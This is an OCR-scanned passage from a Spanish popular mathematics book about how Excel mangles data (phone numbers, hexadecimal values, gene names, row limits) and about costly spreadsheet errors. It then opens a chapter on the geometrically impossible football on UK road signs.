ordenador no puede descifrar una ubicacion, tiene que dar un valor a ese campo, y, por eso, 0,0 se
convirtié en la ubicacion por defecto. La isla en la que los datos malos van a morir.



Excepto que los cartografos se tomaron esto muy en serio. La cartografia era una disciplina
bastante anticuada y rancia hasta que se vio influida por la revolucion tecnoldgica moderna. Hoy
en dia, tiene publico por su peculiar sentido del humor. Durante generaciones, los cartdografos han
estado afadiendo a escondidas lugares ficticios en mapas reales (a menudo como una forma de
destapar a personas que plagian su trabajo), y era inevitable que la isla Null cobrara vida por si
misma. Por lo que la pusieron literalmente en el mapa.2 Si nos creemos su material promocional,
la isla Null posee una poblacion préspera, una bandera, un departamento de turismo y es el lugar
del mundo con mas Segways per capita.

Incluso cuando los datos ya han sido incluidos en una base de datos, no estan a salvo... lo que
nos lleva, finalmente, a Microsoft Excel. Mi opinién sobre Excel es de dominio publico: soy un
gran admirador. Es una forma fantastica de poder hacer un montoén de calculos al mismo tiempo v,
por regla general, es el primer lugar al que acudo cuando necesito hacer una gran cantidad de
calculos aritméticos. Pero hay una cosa que Excel no es: una base de datos. Aunque con mucha
frecuencia se utiliza con ese fin.

Hay algo seductor en las filas de una hoja de célculo, claras y faciles de identificar, que
invita a las personas a usarlas para almacenar datos. Soy tan culpable como cualquiera: una gran
parte de mis proyectos pequefios en los que hay algiin dato los guardo en hojas de calculo. Es muy
facil. Superficialmente, Excel es un gran sistema de gestion de datos. Pero hay muchas cosas que
pueden salir mal.

Para empezar, el hecho de que alguien camine como un niimero y grazne como un nimero no
significa que sea un nimero. Algunas cosas que parecen numeros no lo son. Los niimeros de
teléfono son un ejemplo perfecto: a pesar de estar formados por digitos, en realidad no son
nameros. /Cuando ha podido sumar dos niumeros de teléfono? ;O cuando ha buscado los factores
primos de un niimero de teléfono? (El mio tiene ocho, cuatro distintos.) La regla general deberia
ser: si no va a hacer ninguna operacion matematica con €l, no lo almacene como nimero.

En algunos paises, los numeros de teléfono empiezan por 0. Por defecto, los niimeros
normales no tienen como primer digito un cero. Abra una hoja de célculo y escriba «097» y pulse
intro. El cero desaparecera inmediatamente. Este es un ejemplo bastante personal, porque hace
varios afos tenia una tarjeta de crédito en la que los tres digitos de seguridad escritos en el dorso
eran 097 (las palabras importantes en esta frase son «hace varios afios»; no me van a pillar por
ahi). En muchas paginas web eliminaban el primer cero nada mas introducirlo y luego aparecia el
mensaje de que los detalles de mi tarjeta no encajaban.

Es aun peor con los niimeros de teléfono. Si introduce el numero de teléfono 0141 404 2559,
no solo desaparece el cero inicial, sino que 1.414.042.559 es un niimero realmente grande,
bastante por encima de un millardo. Por lo que, si lo introduce en Excel, cambiara el nimero a una
forma diferente de escribir los nimeros: la notacion cientifica. Acabo de pegar ese nimero en una
hoja de calculo y ahora aparece como 1,414E+9. Si hacemos mas ancha la columna apareceran los
digitos ocultos. Pero si hacemos eso con un niimero mas largo, esos digitos se podrian perder para
siempre.

La notacioén cientifica reduce el tamafio del mimero al no incluir todos los digitos
especificos. Por regla general, el tamafio de un nimero es indicativo de cuantos digitos tiene
(antes de la coma decimal), pero cuando no conocemos todos los digitos, o estos simplemente no
son importantes, entonces el nimero acaba casi siempre con varios ceros. En el lenguaje habitual,



ya solemos eliminar los digitos de un nimero grande. Por ejemplo: en la actualidad, el universo
tiene una antigiiedad de 13,8 mil millones de afos. Los digitos importantes son 13,8 y «miles de
millones» nos indica lo grande que es el nimero. Es mucho mejor que escribir 13.800.000.000 y
depender de los ceros para expresar el tamafio de la cifra.

La notacion cientifica va un paso mas alla. En el lenguaje convencional, nos gusta redondear
los millones y los millardos (o miles de millones), pero, en ciencia, el punto decimal pasa al
frente y se especifica el nimero de digitos. Por lo que la edad del universo es 1,38E+10. Esa E es
realmente una forma perezosa de escribir un exponencial: el universo tiene una antigiiedad de 1,38
x 1010 afios. Para las medidas muy pequefas, se utiliza un nimero negativo para expresar el
tamafio. Un proton posee una masa de 1,67E-27 kg. Eso es mucho mas claro que escribir
0,00000000 000000000000000000167kg.

Pero todos los digitos de un niimero de teléfono son importantes. Seria mucho mas feliz si los
llamasemos «digitos telefonicos» en lugar de «ntimeros telefonicos», porque, repito, no pienso
que sean numeros. Si alguna vez no esta seguro de si algo es un nimero o no, mi prueba es
imaginarme preguntdndole a alguien cual es la mitad de esa cosa. Si le pregunta a alguien cual es
la mitad de estatura de una persona que mide 180 centimetros, le respondera que 90 centimetros.
La altura es un nimero. Preguntele a alguien cual es la mitad de su nimero de teléfono, y le dara la
primera mitad de los digitos. Si la respuesta no es dividirlo, sino cortarlo, no es un nimero.

Ademas de convertir cosas que no son nimeros en nuameros, a veces Excel coge cosas que
son nimeros y las convierte en texto. Esto sucede principalmente con nimeros no habituales que
van mas alla de nuestro sistema de numeracion de base 10. Sistemas como el binario usan un
numero reducido de digitos; el usado por los ordenadores, con base 2, solo necesita el 0 yel 1. Un
sistema numérico necesita tantos digitos como muestra su base, razon por la que la base 10 tiene
10 digitos: de 0 a 9. Pero una vez que pasamos de la base 10, no hay mas digitos «tradicionalesy,
por lo que hay que utilizar letras.

BASE 10
VALOR DE POSICION: 10.000s 1.000s 100s 10s 1s
DIGITO: 1 9 5 g 5

BASE 16

VALOR DE POSICION: 4.096s 256s 16s 1s
DIGITO: 4 g 5

O

Una rapida revision confirma que:
4 x4.096 + C (es decir «12») x 256 +4 x 16 +7 x 1 =19.527

Si convertimos el nimero 19.527 de base 10 a base 16, tendremos 4C47. En este caso, la C
no es una letra, a pesar de que sigue pareciéndolo: es un digito. Concretamente, es el digito que
representa un valor de doce. Al igual que 7 representa un valor de, bueno, siete. Cuando se
quedaron sin digitos, los matematicos se dieron cuenta de que las letras eran una fuente perfecta



que aportaba mas simbolos y ya tenian un orden establecido y aceptado. Por lo que las reclutaron
al servicio de los numeros, causando confusion a todos los demas. Incluido a Excel. Si intenta
utilizar letras como digitos en Excel, este supone razonablemente que estd tecleando una palabra,
no un nUMero.

El problema es que los nimeros de base elevada no son solo el juguete de los matematicos.
Si los ordenadores estan obsesionados con los niimeros binarios, su siguiente amor son los
nimeros de base 16. Es realmente facil convertir nimeros binarios a numeros hexadecimales de
base 16, que es la razon por la que los hexadecimales se utilizan para que los binarios
informaticos sean un poco mas manejables; el hexadecimal 4C47 representa el nimero binario
completo 0100110001000111, pero es mucho mas facil de leer. Puede entender los hexadecimales
como binarios disfrazados. Paginas atras, lo utilizamos en el ejemplo de la inyeccién de SQL,
para esconder el codigo informatico a plena vista.

El error es intentar almacenar datos informaticos que utilicen valores hexadecimales en
Excel, un error que he cometido como cualquier otra persona. Tuve que almacenar valores
hexadecimales en una hoja de calculo de personas que habian microfinanciado colectivamente mis
videos en internet, y Excel los convirtié inmediatamente en texto. Eso me paso por no utilizar una
base de datos de verdad, como haria una persona adulta.

Para ser justo: esa es la mitad de la historia. Excel posee una funcion integrada que convierte
entre base 10 y base 16 llamada DEC2HEX (si alguna vez pongo en marcha una boy band, la
llamaré Dec2Hex). Si introduce el texto: DEC2HEX (19527), le devolvera 4C47, olvidando
inmediatamente que es un nimero. Si quiere sumar numeros hexadecimales juntos en Excel, o
dividirlos, o realizar alguna operacion matematica, necesita convertirlos de nuevo a base 10,
realizar las operaciones en cuestion y volver a convertir el resultado.

Si de verdad quiere hacer de empollon (jdemasiado tarde, ya lo estamos haciendo!), hay un
caso especifico en el que Excel se carga los hexadecimales al tratarlos, ir6nicamente, como un
namero. Pero es el tipo erroneo de numero. Por ejemplo, el nimero 489 en base 10 se convierte
en 1E9 en hexadecimal, pero cuando introducimos 1E9 en Excel, entiende la letra E entre dos
nameros y se da cuenta de que ya ha visto eso. jEs la notacion cientifica! De repente, su 1E9 ha
sido sustituido por 1,00E+09. De 489 a mil millones en un abrir y cerrar de... un cambio de
formato.

El mismo problema aparece en todos los casos con «nimeros hexadecimales que no
contienen digitos alfanuméricos mas que una unica “e”, donde la “e€” no es ni el primer ni el
ultimo digito». Esa es la definicion del problema tal como aparece en la Enciclopedia en linea de
Secuencias I Enciclopedia Online de Secuencias de Numeros Enteros, la cual lista los primeros
99.999 casos.3 Spoiler: el 100.000° es 3.019.017.

Esto no se limita unicamente a empollones como nosotros que utilizan hexadecimales. Hablé
extraoficialmente con un consultor de bases de datos que estaba trabajando con una compatfiia en
Italia. Tenian un montén de clientes y su base de datos generaba un ID de cliente para cada uno de
ellos utilizando algo como el afio en curso, la primera letra del nombre de la compaiia del cliente
y luego un nimero correlativo para asegurarse de que el ID era nico. Por alguna razon, su base
de datos estaba perdiendo clientes cuyos nombres empezaban por E. Era porque estaba utilizando
Excel y estaba convirtiendo esos ID de cliente en un nimero en notacion cientifica, por lo que ya
no lo reconocia como un ID.



En el momento de escribir esto, no existe forma alguna de desactivar la notacion cientifica
por defecto de Excel. Algunos dirian que es un cambio sencillo que solucionaria algunos
problemas importantes de las bases de datos para mucha gente. Mas personas, incluso, dirian que,
siendo realistas, no es culpa de Excel, ya que, en primer lugar, no deberia utilizarse como base de
datos. Pero si somos realistas reconoceremos que lo utilizamos como tal. Y puede causar
problemas con funciones mucho mas prosaicas que la notacion cientifica. La correccion
ortografica deja mucho que desear.

Autocorreccion de genes

No soy bidlogo, pero con solo buscar un poquito en internet me he convencido de que mi cuerpo
necesita la enzima «E3 ubiquitina ligasa MARCHS5». Cuando leo textos de biologia pienso en
cémo se deben sentir otras personas cuando leen algo de matematicas: una cadena de palabras y
simbolos que parecen lenguaje ordinario, aunque no transmiten ninguna nueva informacion a mi
cerebro a medida que lo va analizando sintacticamente. Si me resisto a la necesidad de procesar
el contenido real y solo me centro en la sintaxis general, puedo captar la esencia de lo que el autor
estd intentando decir.

En conjunto, nuestros datos indican que la falta d¢ MARCHS produce una elongacion mitocondrial, la

cual fomenta la senescencia celular al bloquear la actividad de Drpl y/o fomentar la acumulacion de
Min] en la mitocondria.

Extraido de la publicacion de investigacion de 2010

Journal of Cell Science. Traducido a un lenguaje mas

asequible: necesitamos esa cosa.

Afortunadamente, en el décimo cromosoma humano esta el gen que codifica la produccion de
esta enzima. El gen tiene el nombre pegadizo de MARCHS, y si piensa que se parece mucho a una
fecha, entonces ya se puede imaginar hacia donde va esto. En nuestro primer cromosoma, el gen
SEP15 estd ocupado fabricando otra proteina importante. Teclee esos nombres en Excel y los
trasformara en Mar-05 y Sep-15. Codificada como 01/03/2005 y 01/09/2015 (si hurga en los
datos de Excel en una version de Reino Unido), toda menciéon de MARCHS y SEP15 ha sido
borrada.

(Los bidlogos utilizan el Excel para procesar sus datos? j;Tiene el fosfoglicano un extremo
C-terminal?! ;Si! (Bueno, creo que si. Era eso o «j;Donde se ocultan los genes BPIFB1?!», pero
tampoco estaba seguro de ese. He sobrepasado el limite de mis conocimientos de biologia
intentando buscar incluso temas de microbiologia.) A ver, la respuesta es si. Los bidlogos
celulares utilizan mucho el Excel.

En 2016, tres intrépidos investigadores de Melbourne analizaron dieciocho revistas que
habian publicado articulos relacionados con la investigacion del genoma entre 2005 y 2015 y
encontraron un total de 35.175 ficheros Excel disponibles publicamente asociados con 3.597
diferentes articulos de investigacion. Escribieron un programa para descargar automaticamente los
ficheros Excel, luego buscaron listas de nombres de genes, vigilando lo casos en los que el Excel
habia «corregido automaticamente» los nombres transformandolos en otra cosa.



Después de comprobar los archivos problematicos manualmente para eliminar los falsos
positivos, los investigadores se quedaron con 987 hojas de célculo de Excel (de 704 diferentes
articulos de investigacion) que contenian errores en los nombres de los genes introducidos por el
Excel. En su muestra, encontraron que el 19,6 % de la informacion de los genes recopilada en
Excel contenia errores. No estoy del todo seguro del impacto exacto de la desaparicion de
nombres de genes de su base de datos, pero creo que podemos suponer con seguridad de que no es
algo bueno.

Para resolver estos problemas primero hay que averiguar con qué tipo de datos estamos
tratando. Por ejemplo, 22/12 podria ser un nimero (22 + 12 = 1,833...), un dato (22 de diciembre)
o un trozo de texto (solo los caracteres 22/12). Por lo que una base de datos tiene que almacenar,
ademas de los datos, también metadatos, es decir, datos sobre los datos. Cada entrada, ademas de
tener un valor, también esta definida como un tipo de dato. Que es la razon por la que puedo decir,
de nuevo, que los niimeros de teléfono no deberian almacenarse como niimeros.

En Excel, se pueden hacer distinciones parecidas, pero estan muy lejos de ser intuitivas y de
que sea facil trabajar con ellas. La configuracion predeterminada de una nueva hoja de célculo no
es adecuada cuando se trata de investigacion cientifica. Cuando aparecio la investigacion sobre la
autocorreccion de genes, a Microsoft le preguntaron su opinidon y un portavoz dijo: «Excel es
capaz de mostrar datos y texto de muchas maneras diferentes. Las configuraciones
predeterminadas estan pensadas para que funcionen en la mayoria de los escenarios cotidianos.

Una gran cita. Viene con la idea implicita de que «la informacién genética no es un escenario
cotidiano». (Como si fuera una exasperada enfermera explicando a alguien a quien le faltan varios
dedos que abrir una botella de cerveza no es un escenario cotidiano en el que utilizar un hacha.)
Me gusta imaginar que el portavoz de Microsoft pronuncia su respuesta en una conferencia de
prensa mientras alguien entre bambalinas tiene que contener al equipo de Microsoft Access, que si
que es un sistema de gestion de bases de datos de verdad. Se pueden oir a través de las paredes
unos llantos apagados que dicen: «Diles que utilicen una base de datos de verdad, COMO
ADULTOS».

El final de la hoja de calculo

Oftra limitacion de las hojas de calculo como bases de datos es que tienen un final. De manera
similar a lo que les ocurre a los ordenadores que tienen problemas para hacer un seguimiento del
tiempo con un sistema de numeros binarios de 32 digitos, Excel tiene problemas a la hora de
llevar un registro de cuantas filas hay en una hoja de célculo.

En 2010, WikiLeaks presentd al Guardian y a The New York Times 92.000 informes de
campo filtrados de la guerra de Afganistan. Julian Assange los entregd en persona en las oficinas
del Guardian en Londres. Los periodistas confirmaron rapidamente que parecian ser reales, pero,
para su sorpresa, los informes acababan abruptamente en abril de 2009, cuando deberian haber
cubierto hasta el final de ese afo.

Lo ha adivinado: Excel cont6 sus filas como un niimero de 16 bits, por lo que existia un
maximo de 216 = 65.536 filas disponibles. Asi que, cuando los periodistas abrieron los archivos
en Excel, todos los datos después de las primeras 65.536 entradas desaparecieron. Bill Keller,



periodista de The New York Times, describid la reunion secreta en la que se descubri6 este hecho
y como «Assange, poniéndose tranquilamente en el papel de friki de la oficina, explicé que habian
alcanzado los limites de Excel».

Desde entonces, Excel se ha ampliado hasta un maximo de 220 = 1.048.576 filas. jPero eso
sigue siendo un limite! Si entra en una tabla de Excel y desliza el cursor hacia abajo puede tener la
sensacion de que seguird asi para siempre, pero, si lo hace durante el tiempo suficiente, llegara
finalmente al final de la hoja de calculo. Si quiere llegar hasta el vacio que hay después de las
filas, puedo afirmar que se tarda unos diez minutos desplazando el cursor a la maxima velocidad.

T T IR PR S N
& Hunw Lu,m:“ Tubrus c.::.r:' Sr-:':ﬂ:l'l F..,-m_lu:mu Duilu Funiwrr D-u-.:l.g..- it

. |LEmgus Gotho el | . B

I'ealz LI RN T 87 %, 2 ;‘

1043565 1048568
10455 70 A04EETD
1048571 1048571
1048572 1048572
1048573 AN455 71
1043574 1048574
1ES 7S AN4EE TR

1048576

1 shes_autof e [ b
L e e ;
2rmal Ve Zpaly un-o

Contemple el espacio vacio que hay mds alld del final del mundo Excel.

Cuando la hoja de calculo se hace publica

En general, hacer cualquier clase de trabajo que sea importante en una hoja de calculo no es una
buena idea. Son el entorno ideal para que se produzcan errores y crezcan descontroladamente. El
European Spreadsheet Risks Interest Group (si, es una organizacion real que se dedica a examinar
esos momentos en los que las hojas de célculo fallan) calcula que mas del 90 % de todas las hojas
de calculo contiene errores. Alrededor del 24 % de las hojas de célculo que utilizan formulas
contiene un error matematico en sus céalculos.

Son capaces de llegar a ese porcentaje tan curiosamente especifico porque, de forma
ocasional, todas las hojas de calculo de una compafiia se pueden consultar. La doctora Felienne
Hermans es una profesora asistente en la Universidad Tecnolégica de Delft, donde dirige su
laboratorio de Hojas de Calculo. Me encanta la idea de que exista un laboratorio de hojas de
calculo: columnas en lugar de colimadores, sentencias If en lugar de incubadoras. La doctora
Hermans fue capaz de analizar uno de los corpus mas grandes de hojas de calculo del mundo real
que jamas se haya podido conseguir.

Después del escandalo Enron de 2001, la Comision Federal Reguladora de Energia publicé
los resultados de su investigacion sobre la corporacidon y las pruebas que tenian, que incluian
alrededor de 0,5 millones de correos electronicos internos de la empresa. Existia cierta



preocupacion por publicar correos electronicos de empleados que no tenian nada que ver con el
escandalo, por lo que la version expurgada que actualmente esta disponible en linea ha tenido en
cuenta las preocupaciones de los empleados. Proporciona una vision fantastica sobre como se
utiliza el correo electronico en el interior de una empresa tan grande. Y, por supuesto, se enviaban
un montdn de hojas de célculos como archivos adjuntos.

Hermans y sus colegas revisaron el archivo que contenia los correos electronicos y fueron
capaces de reunir un conjunto de 15.770 hojas de célculo y 68.979 correos electronicos
relacionados con esas hojas de calculo. Hay algo de sesgo en la seleccion porque esas hojas de
calculo procedian de una empresa que estaba siendo investigada por deficiencias en sus informes
financieros, lo cual es vergonzoso. Pero seguia constituyendo un ejemplo increible sobre como se
utilizan las hojas de calculo en el mundo real, al igual que sobre la forma en la que esos correos
electronicos que contienen esas hojas de calculo se trataban, pasaban de una persona a otra y se
actualizaban. Esto es lo que descubrio Hermans:

* La hoja de célculo promedio tenia un tamanio de 113,4 kilobytes.

» La hoja de calculo mas grande ocupaba unos impresionantes 41 megabytes. (Supongo que
debia de ser una invitacion de cumpleafios con archivos de sonido y gifs animados
incrustados. Me estremezco solo con pensarlo.)

* Por término medio, cada hoja de calculo contenia 5,1 hojas de trabajo.

* {Una hoja de célculo contenia 175 hojas de trabajo! Incluso yo creo que es demasiado y que
necesitarian SQL.

* Las hojas de célculo tenian un promedio de 6.191 celdas ocupadas, de las cuales 1.286 eran
formulas (por lo que el 20,8 % de las celdas se utilizaban para féormulas con las que realizar
un calculo o para mover datos).

* 6.650 hojas de calculo (el 42,2 %) no contenian ninguna férmula. jAnda ya! ;Entonces para
qué utilizar una hoja de calculo?

La cosa se pone interesante cuando investigamos por qué estas hojas de célculo fallaron. Las
6.650 hojas de célculo sin férmulas se utilizaban basicamente como simples documentos de texto
en los que se listaban nimeros, asi que las ignoraré. Solo me interesan las hojas de calculo en las
que se utilizan matematicas que puedan salir mal. Por lo que nos quedan 9.120 hojas de célculo
que contienen 20.277.835 formulas.

Excel posee una buena capa de prevencion de errores cuando alguien teclea una formula:
comprueba que toda la sintaxis sea correcta. En la programaciéon informatica habitual, puedes
dejarte un corchete sin cerrar en cualquier parte u olvidarte colocar una coma. Lo que provoca que
jures en hebreo en voz alta a las tres de la madrugada («;Qué diablos hace esto aqui?»), o eso es
lo que me han contado. Excel al menos realiza una verificacion rapida para ver que toda la
puntuacion es correcta.

Pero Excel no puede asegurar que el usuario utilice las funciones adecuadas o sefale las
celdas correctas en las que incluir los datos apropiados a los que aplicara las formulas. En esos
casos, ejecuta el comando y muestra un mensaje de error solo si las matematicas estin totalmente



equivocadas. #NUM! significa que se ha introducido una forma erronea de dato numérico;
#NULL! significa que el rango de los datos introducidos no estd correctamente definido. Y luego
estd mi favorito, #DIV/0!, que aparece ante cualquier intento de dividir por cero.

Hermans descubri6 que 2.205 hojas de célculo tenian uno o mas mensajes de error de Excel.
Lo que significa que alrededor del 24 % de todas las hojas de calculo que contenian formulas
contenian un error. Y esos errores tenian compaiia: las hojas de célculo susceptibles de contener
errores tenian una media de 585,5 errores cada una.4 Nada menos que 755 hojas de célculo tenian
mas de cien errores, y la que quedd en primer lugar en esa clasificacion totalizd 83.273 errores.
Llegados a este punto, estoy realmente impresionado. Yo no podria cometer todos esos errores sin
una hoja de célculo aparte en la que irlos registrando.

Pero este es solo un subconjunto de errores de las hojas de calculo: los obvios. Muchos otros
errores que se cometen con las formulas no son contabilizados. Sin un profundo conocimiento de
qué es lo que el usuario estaba intentando hacer en primer lugar, no existe un modo sencillo de
revisar las hojas de calculo y asegurarse de que todas las formulas estan donde deberian estar.
Puede que este sea su mayor problema. Es facil seleccionar por error la columna equivocada y, de
repente, el dato procede del afio equivocado o es bruto en lugar de neto (jun dato bruto, nunca
mejor dicho!).

Esto puede acarrear problemas de verdad. En 2012, la Oficina de Educacion del Estado de
Utah calcul6 erréoneamente su presupuesto por valor de 25 millones de dolares por algo que el
superintendente del estado, Larry Shumway, llamo6 «referencia errénea» en una hoja de célculo. En
2011, el pueblo de West Baraboo, en Wisconsin, calcul6 erroneamente cuanto costaria su préstamo
por 400.000 dolares porque en un rango se habian olvidado de una celda importante.

Esos son solo los errores sencillos que se descubrieron. No es coincidencia que ambos
correspondan a entidades publicas de Estados Unidos; tienen una responsabilidad con el publico y
no pueden ocultar grandes errores debajo de la alfombra. Solo Dios sabe cuantos errores menores
hay en las complejas redes de formulas que existen en las hojas de calculo de las empresas. Una
hoja de calculo de Enron tenia una cadena de 1.205 celdas cuyos datos provenian directamente de
la celda contigua (con una red mas amplia de 2.401 celdas que recogian los datos de ellas
indirectamente). Un error en la celda mas débil y todo el entramado se desmorona.

Asi hasta que llegamos al «control de versiones», que significa asegurarse de que todos
saben cual es la version mas actualizada de la hoja de calculo. De los 68.979 correos electronicos
de Enron sobre hojas de calculo, 14.084 eran sobre qué version de una hoja de célculo estaba
utilizando la gente. Pondré un ejemplo de eso funcionando mal en el mundo real. En 2011, el
condado de Kern, en California, se olvidé de pedir a una compafiia 12 millones de euros en
impuestos porque utilizaban la version incorrecta de una hoja de célculo, en la que faltaban 1.260
millones en bienes productores de petroleo y gas.

Excel es muy bueno a la hora de hacer un montén de célculos de forma simultinea y
analizando datos de tamafio medio. Pero cuando se utiliza para realizar célculos grandes y
complejos a lo largo de un rango amplio de datos, es simplemente demasiado opaco respecto a la
forma en la que realiza los calculos. Los calculos para el rastreo de datos y la comprobacion de
errores se convierten en una tarea larga y tediosa en una hoja de célculo. Se puede decir que casi
todos mis ejemplos son el resultado de haber obviado un sistema mas apropiado en favor de
Excel, el cual es, afrontémoslo, barato y se puede adquirir facilmente.



Una advertencia final de economia. En 2012 JPMorgan Chase perdié un monton de dinero; es
dificil hacerse una idea, pero el consenso general es que fueron alrededor de 6.000 millones.
Como suele ocurrir en el mundo de las finanzas modernas, existen un montén de aspectos
complicados sobre como se hizo la negociacidon y como se estructurd (nada de lo cual entiendo).
Pero la cadena de errores incluia algin serio abuso de las hojas de calculo, incluyendo el calculo
de cudn grande era el riesgo y de como se registraban las pérdidas. Un calculo de un Valor en
Riesgo (VaR por sus siglas en inglés) da a los operadores una idea de lo grande que es el riesgo y
limita los tipos de operaciones que son permitidas dentro de la politica de riesgos de la compaiiia.
Pero cuando el riesgo es subestimado y el mercado empeora seriamente, se puede perder una gran
suma de dinero.

Resulta asombroso que un célculo especifico del Valor en Riesgo se realizara en una serie de
hojas de calculo de Excel en la que los valores debian ser copiados entre ellas de manera manual.
Me da la impresion de que era un modelo para calcular el riesgo que se puso a disposicidon para
su uso sin haberlo convertido en un sistema real para el calculo de modelos matematicos. Y se
acumularon suficientes errores en las hojas de calculo que hicieron que se subestimara el VaR.
Una sobrestimacion del riesgo habria significado que se habria preservado mas dinero del que se
puso a salvo, y dado que estaria limitando las operaciones, habria provocado que alguien
investigara qué estaba sucediendo. Una subestimacion del VaR permitié sigilosamente que la gente
arriesgara mas y mas dinero.

Pero seguro que estas pérdidas llamaron la atencion de alguien. Los operadores ponian
«notas» a las posiciones de su portafolio para indicar lo bien o mal que lo estaban haciendo. Dado
que las sesgaban para minimizar cualquier cosa que fuera mal, el Grupo de Control de Valoracion
(VCG por sus siglas en inglés) estaba para vigilar las notas y compararlas con el resto del
mercado. Excepto que lo hicieron con hojas de calculo que contenian algunos errores
metodologicos y matematicos graves. Fue tan mal que un empleado empezd su propia hoja de
calculo paralela para intentar hacer un seguimiento de los beneficios y pérdidas reales.

Finalmente, el Equipo de Tareas de Gestion de JPMorgan Chase & Co. presentd un informe
sobre todo este follon. Estas son mis frases favoritas sobre lo que ocurrié:

Esta persona realizo inmediatamente ciertos ajustes a las formulas de las hojas de calculo que utilizaba.
Estos cambios, que no estaban sujetos a un proceso de evaluacion riguroso, introdujeron
inadvertidamente dos errores de calculo, cuyo efecto fue la subestimacion de la diferencia entre el
precio medio VCG y las notas de los operadores (pag. 56).

Concretamente, después de restar la tasa antigua de la nueva, la hoja de célculo dividié por su suma en
lugar de por su media, tal como el programador pretendia. Este error seguramente provocod que se
redujera la volatilidad a la mitad y disminuyese el VaR (pag. 128).

Me parece increible. Se perdieron miles de millones de dolares en parte porque alguien
sum6 dos nimeros en lugar de hacer la media. Una hoja de calculo tiene un aspecto que hace que
parezca que todos los calculos que se han realizado son serios y rigurosos. Pero solo son tan
fiables como las formulas que hay bajo su superficie.

Recopilar y trabajar con los datos puede ser mas complicado, y mas costoso, de lo que la
gente espera.



Cuatro

MALA FORMA

La geometria de las pelotas de futbol en las sefiales viales de las calles de Gran Bretafia es
erronea. Puede que parezca algo intrascendente, pero me molesta.

Si observa el disefio clasico de una pelota de futbol, comprobaréd que tiene veinte hexagonos
blancos y doce pentagonos negros. Pero en las placas de las calles de Gran Bretafia que indican un
campo de futbol, la pelota estd formada unicamente por hexagonos. jNo hay pentagonos! Los
pentdgonos oscuros han sido reemplazados por hexagonos. Quienquiera que lo haya disefiado no
se ha molestado en comprobar cémo es una pelota de futbol de verdad. Asi que escribi al
gobierno.

O, mas concretamente, inicié¢ una peticion parlamentaria. Se trata de una peticion oficial que
requiere de un tramite, pero que te garantiza una respuesta del gobierno si obtienes 10.000 firmas.
Mi primera solicitud no tuvo éxito porque el comité dijo, y cito sus palabras: «Creemos que lo
mas seguro es que usted esté bromeando». Tuve que responder para argumentar mi peticion: mi
queja sobre una geometria precisa era seria. Finalmente, el gobierno britdnico estuvo de acuerdo
en que no se trataba de una broma y acepté la peticion.

Resulta que yo no era la tinica persona a quien molestaba que el dibujo de la pelota en las
sefiales de trafico fuera incorrecto. La peticion aparecid en diversos perioddicos de tirada nacional
y en cadenas de radio. Hasta entonces, nunca habia aparecido en la seccion de deportes de las
noticias de la BBC. Me invitaron a diferentes programas deportivos en los que me pasé¢ mucho
tiempo diciendo cosas como «un pentagono tiene cinco lados, pero si se fija en las sefiales, todas
las formas son hexagonos, con seis lados». Basicamente, estaba argumentando que cinco es un
nimero diferente a seis. ;He mencionado que tengo un puesto en la institucion académica Queen
Mary University de Londres como su enlace publico para la divulgacién de las matematicas?
Deben de estar orgullosos.



Una pelota de futbol y, no sé, ;puede que una seial de trdfico que indique la presencia de una colmena?

Pero no le gust6 a todo el mundo. A algunas personas les molestd que estuviera pidiendo al
gobierno que hiciera algo en lo que no creian personalmente. Dejé muy claro que no queria
cambiar las antiguas sefales (puedo entender que se podria considerar un mal uso de los fondos
de los contribuyentes). Solo queria que actualizaran el Instrumento Legislativo 2016 n.° 362, Lista
12, parte 15, simbolo 38 (jHice mis deberes! Ya les dije que iba en serio) para que de aqui en
adelante las siguientes sefiales fueran correctas. Pero eso no fue suficiente para complacer a
muchas personas.

En mis entrevistas dejé muy claro que las pelotas incorrectas que aparecian en las sefiales no
eran el asunto mas apremiante al que se tenia que enfrentar la sociedad. Pero solo porque también
crea que debemos financiar adecuadamente la sanidad publica, la educacion y muchas mas cosas
no significa que no pueda hacer campafa también por cosas triviales. La esencia de mi protesta
era que existe un sentimiento generalizado en la sociedad de que las matematicas no son
importantes, que no pasa nada por no ser bueno en ellas. Pero una gran parte de nuestra economia
y tecnologia requieren de la participacion de personas que son buenas en matematicas.



Peticién
Actualizacién de la regulacién de las sefiales

de trafico del Reino Unido para que la pelota de
futbol sea geométricamente correcta

La pelota de fitbol que aparece en las sefales viales del Reino Unido
(indicando los campos de fltbol) esta compuesta en su totalidad por
hexagonos. Pero es matematicamente imposible construir una pelota
utilizando solo hexagonos. Cambiarlo a una disposicion correcta de
hexagonos y pentagonos ayudaria a aumentar la concienciacion y la
apreciacion publica por la geometria.

Creo que el hecho de que el gobierno reconozca que existe una diferencia entre un hexagono
y un pentdgono aumentaria la concienciacién publica del valor que le deberiamos dar a las
matematicas y a la educacion. jUn cinco no es un seis!

Y para que conste, las sefales son superincorrectas.

No era solo un dibujo de un tipo diferente de pelota: es que jamas podia ser una pelota.
Suena como un gran postulado: nunca podrds construir una pelota a base de hexagonos. Pero
puedo afirmar con una completa seguridad matematica que es imposible crear una pelota
unicamente a partir de hexagonos, incluso si son hexagonos deformados. Es posible demostrar
matematicamente que la imagen que aparece en las sefiales viarias jamas podria ser una pelota.
Existe algo 1lamado caracteristica de Euler de una superficie y describe el patron existente detras
del modo en que diferentes formas 2D se pueden reunir para crear una forma 3D. En pocas
palabras, una pelota tiene una caracteristica de Euler de dos y los hexagonos no pueden crear una
forma por si mismos que tenga una caracteristica de Euler de mas de cero.

¢ Quién se apunta a un partido con una pelotarosquilla geométricamente verosimil?

Existen diferentes formas que tienen una caracteristica de Euler de cero, como los toros. Asi
que, aunque no se puede crear una pelota a partir de hexagonos, lo que si puede crear es una
pelota-rosquilla. Los hexdgonos también funcionan para crear una superficie plana o un cilindro.
Un amigo mio (con mucha gracia) me compr6 un par de calcetines para jugar a futbol porque
tenian el clasico disefio a base de pelotitas formadas por hexagonos, pero, dado que un calcetin



(ignorando la puntera) es un cilindro, se puede aceptar. Su gesto fue a la vez genial y cruel; los
calcetines estaban al mismo tiempo bien hechos y mal hechos. Nunca me he sentido tan incomodo
respecto a un par de calcetines de deporte desde las clases de educacion fisica de noveno curso.

Yo los describo como mis «calcetines planosy.

Esto no excluye la posibilidad de que las sefiales viales muestren una forma exdtica que
parecen ser hexagonos en el lado que mira hacia nosotros, pero que tenga otras formas locas en su
parte trasera. Después de quejarme de esto a través de internet, algunas personas representaron
esas formas locas creyendo errébneamente que me harian sentir mejor. Aprecio el esfuerzo. Pero no
lo consiguieron.

Y, con todo esto, la gente iba firmando la peticion, y poco después ya habia llegado a las diez
mil firmas requeridas y empecé a esperar ansiosamente la respuesta del gobierno.

